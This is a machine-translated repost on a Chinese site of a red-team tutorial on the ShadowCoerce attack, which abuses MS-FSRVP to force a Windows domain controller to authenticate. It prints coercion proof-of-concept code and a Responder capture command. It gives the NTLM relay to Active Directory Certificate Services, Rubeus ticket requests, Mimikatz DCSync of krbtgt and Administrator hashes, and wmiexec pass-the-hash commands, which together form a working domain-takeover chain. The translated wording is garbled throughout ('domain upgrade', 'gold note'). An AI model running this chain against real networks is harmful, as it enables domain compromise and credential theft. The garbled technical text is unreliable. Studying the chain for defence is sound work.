当前位置:网站首页>domain controller
domain controller
2022-06-23 07:52:00 【Khan security team】
Forcing the domain controller computer account to authenticate to a host controlled by a threatened person may cause the domain to be compromised . The most notable technique involving mandatory authentication is the use of encrypted file system remote protocols ( MS-EFSR ) Of PetitPotam attack . However , This is not the only protocol that can be used for domain upgrade . Aware that alternative protocols that may be abused may bring advantages to red team operators , Because the blue team may not implement policies to prevent the domain upgrade of various protocols .
according to Microsoft file , File server remote VSS agreement ( MS-FSRVP ) Used to create a shadow copy of a file share on a remote computer 、 Perform application backup and recovery SMB2 Data on file share . In order for the domain controller to perform these operations , File servers need to be installed from the server role VSS Agency service . however , This protocol discloses two methods that can be used for domain upgrade , Because they all depend on remote UNC route . These methods are :
- IsPath Support
- IsPathShadowCopyed
therefore , Can collect information about domain controller computer accounts NTLMv2 Hash and forward it to the certification authority , For registration Base64 certificate , This certificate can be used to pass Kerberos Authenticate on the domain controller . The figure below illustrates the use of VSS Agent service for domain upgrade (ShadowCoerce) Technical steps .
In order to be able to use this protocol for offensive operations , The domain controller should have the role installed “ File server VSS Agency service ”.
Before the actual attack , Collect information about the machine account controller NTLMv2 The hash can be used as a verification that the service is running and the domain upgrade is feasible . Need to run on the host SMB The listener can capture the hash .
sudo responder -I eth0 -e 10.0.0.3 -b -A -v
Charlie Bromberg A post called ShadowCoerce The proof of concept code , To demonstrate IsPathShadowCopied and IsPathSupported How methods can be misused for offensive operations . The execution of the code will force the machine account of the domain controller to request from the system controlled by the attacker “ NETLOGON ” share . The work is based on Lionel Gilles A discovery of , The discovery was made public at a local gathering in Paris .
1234567891011121314151617181920212223242526 | def IsPathShadowCopied(self, dce, listener): logging.info("Sending IsPathShadowCopied!") try: request = IsPathShadowCopied() # only NETLOGON and SYSVOL were detected working here # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED) request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener # request.dump() resp = dce.request(request) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() logging.info("Attack may of may not have worked, check your listener...") def IsPathSupported(self, dce, listener): logging.info("Sending IsPathSupported!") try: request = IsPathSupported() # only NETLOGON and SYSVOL were detected working here # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED) request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener resp = dce.request(request) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() logging.info("Attack may of may not have worked, check your listener...") |
|---|
The tool requires valid domain credentials for a standard user account 、 The listener IP And domain controller IP. It should be noted that , During the first execution , May not be able to connect to the pipe . however , Executing the same command again will execute the connection .
python3 shadowcoerce.py -d "purple.lab" -u "pentestlab" -p "Password1234" 10.0.0.3 10.0.0.1
because SMB Listener is running on host , Therefore, the domain controller computer account NTLMv2 The hash will be generated by Responder Capture .
If there is a certification authority on the domain , It's similar to PetitPotam technology , The hash of the domain controller computer account can be passed through HTTP Relay to CA The server . The goal of targeting the certification authority server is to move authentication to certificates , And Net-NTLMv2 Hash compared to , It will be more useful . Use this authentication , The machine account will register a certificate , This certificate may be used in conjunction with Rubeus And other tools to perform authentication and request ticket granting ticket (TGT).
python3 ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
After successful certification , The certificate will be in Base64 Format issue .
Rubeus It's a C# project , It can be executed from memory and connected with Kerberos Protocol interaction , To perform offensive operations during red team engagements . Use the previously generated certificate , From the key distribution center of the domain controller computer account (KDC) Request ticket grant ticket .
Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt
switch “ /ptt ” The ticket will be cached in the current session . Holding a ticket for a domain controller computer account is equivalent to domain administrator privileges , And can perform the lifting operation , For example, dump the password hash of the domain user 、 Create a gold ticket to maintain persistence or use the domain administrator's hash to establish a session with the domain controller .
The DCSync Technology is already in Mimikatz Already realized , Available for retrieval NTLM Hash Of krbtgt Account . Using this hash, you can create a gold note to maintain the highest permissions of the domain , Until all the objectives of the assessment are met .
mimikatz # lsadump::dcsync /user:krbtgt
perhaps , Using the same technology , High privileged accounts can be retrieved ( For example, domain administrator ) Hash value of , To establish direct connections to domain controllers and other high-value targets on the domain .
lsadump::dcsync /domain:purple.lab /user:Administrator
Impacket Set of “ wmiexec ” Can be used through WMI The protocol passes hashes and establishes a direct connection to the domain controller .
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 [email protected]
边栏推荐
- Distributed ID generation
- How bootstrap clears floating styles
- 论文写作之WPS安装Mathtype插件编写数学公式
- 279. perfect square
- 数学知识:快速幂求逆元—快速幂
- Talk about routing design in service governance
- MIT CMS. 300 session 12 – identity construction Part 2
- 带你玩tiktok就这么简单
- [Laoke] how should ordinary people learn technology?
- unity转微信小程序小游戏
猜你喜欢

Playwirght深度入门

MIT CMS.300 Session 12 – IDENTITY CONSTRUCTION 虚拟世界中身份认同的建立 part 2

MIT CMS. 300 session 12 – identity construction Part 2

Matlab random volatility SV, GARCH using MCMC Markov chain Monte Carlo method to analyze exchange rate time series

php序列化和反序列化-ctf

Detailed explanation of redis persistence, master-slave and sentry architecture

3dmax插件开发环境配置及FileExport和Utilities模板测试

Friends of the week

How MySQL converts a date to a number

Introduction to Excel VBA and practical examples
随机推荐
vs在连接SQL时出现的问题myconn.OPen();无法运行
快速删除代码里面的node_modules
YGG 西班牙 subDAO——Ola GG 正式成立
数学知识:欧拉函数—欧拉函数
1. probability theory - combination analysis
How MySQL converts a date to a number
Chain tour airship development farmers' world chain tour development land chain tour development
深度学习------不同方法实现lenet-5模型
Acwing game 56 [End]
[Laoke] how should ordinary people learn technology?
How to tag and label naming before the project release
通过端口查文件
Basic experiment of data statistics and analysis - basic grammar and operation
Quick sort + bubble sort + insert sort + select sort
Matlab随机波动率SV、GARCH用MCMC马尔可夫链蒙特卡罗方法分析汇率时间序列
HCIP之路第八次实验
测试apk-异常管控NetTraffic攻击者开发
Gif verification code analysis
抓包发现tcp会话中老是出现重复的ack和大量的tcp重传——SACK(Selective Acknowledgment, 选择性确认)技术
Qt工程报错:-1: error: Cannot run compiler ‘clang++‘. Output:mingw32-make.exe